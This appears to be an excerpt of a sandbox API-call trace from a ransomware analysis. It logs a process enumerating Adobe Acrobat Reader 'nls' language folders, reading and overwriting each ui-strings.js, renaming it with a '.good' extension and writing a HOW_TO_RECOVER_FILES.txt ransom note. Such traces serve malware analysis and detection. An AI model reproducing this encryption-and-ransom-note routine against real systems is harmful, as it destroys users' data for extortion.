lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.333] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0162.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0162.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0162.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0162.333] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr", lpFilePart=0x0) returned 0x69 [0162.333] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0162.333] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.333] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0162.333] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0162.334] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0162.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0162.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0162.334] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0162.334] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x36cde70 | out: lpFileInformation=0x36cde70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d6c)) returned 1 [0162.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0162.334] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0162.334] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.334] GetFileType (hFile=0x650) returned 0x1 [0162.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0162.335] GetFileType (hFile=0x650) returned 0x1 [0162.335] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0162.335] ReadFile (in: hFile=0x650, lpBuffer=0x36ce348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x36ce348*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0162.337] CloseHandle (hObject=0x650) returned 1 [0162.337] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0162.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.338] GetFileType (hFile=0x650) returned 0x1 [0162.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0162.338] GetFileType (hFile=0x650) returned 0x1 [0162.338] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3d6c [0162.338] WriteFile (in: hFile=0x650, lpBuffer=0x36d2b78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x36d2b78*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0162.346] CloseHandle (hObject=0x650) returned 1 [0162.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0162.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.347] GetFileType (hFile=0x650) returned 0x1 [0162.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0162.347] GetFileType (hFile=0x650) returned 0x1 [0162.347] ReadFile (in: hFile=0x650, lpBuffer=0x36d5cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x36d5cf8*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0162.689] CloseHandle (hObject=0x650) returned 1 [0162.689] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0162.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.689] GetFileType (hFile=0x650) returned 0x1 [0162.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0162.689] GetFileType (hFile=0x650) returned 0x1 [0162.689] WriteFile (in: hFile=0x650, lpBuffer=0x32d2778*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x32d2778*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0162.689] CloseHandle (hObject=0x650) returned 1 [0162.689] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.689] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0162.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0162.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5d2e7d00, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d7c)) returned 1 [0162.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0162.690] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js.gоod")) returned 1 [0162.691] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0162.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0162.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hr-hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0162.691] GetFileType (hFile=0x650) returned 0x1 [0162.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0162.691] GetFileType (hFile=0x650) returned 0x1 [0162.692] WriteFile (in: hFile=0x650, lpBuffer=0x347e378*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x347e378*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0162.693] CloseHandle (hObject=0x650) returned 1 [0162.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0162.693] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu", lpFilePart=0x0) returned 0x69 [0162.693] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0162.694] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.695] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0162.695] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.695] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0162.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0162.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0162.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0162.695] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu", lpFilePart=0x0) returned 0x69 [0162.695] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0162.695] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.695] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0162.696] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0162.696] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0162.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0162.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0162.696] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0162.696] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x348df50 | out: lpFileInformation=0x348df50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e1d)) returned 1 [0162.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0162.697] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0162.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.697] GetFileType (hFile=0x650) returned 0x1 [0162.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0162.697] GetFileType (hFile=0x650) returned 0x1 [0162.697] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0162.697] ReadFile (in: hFile=0x650, lpBuffer=0x348e428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x348e428*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0162.699] CloseHandle (hObject=0x650) returned 1 [0162.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0162.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.699] GetFileType (hFile=0x650) returned 0x1 [0162.699] 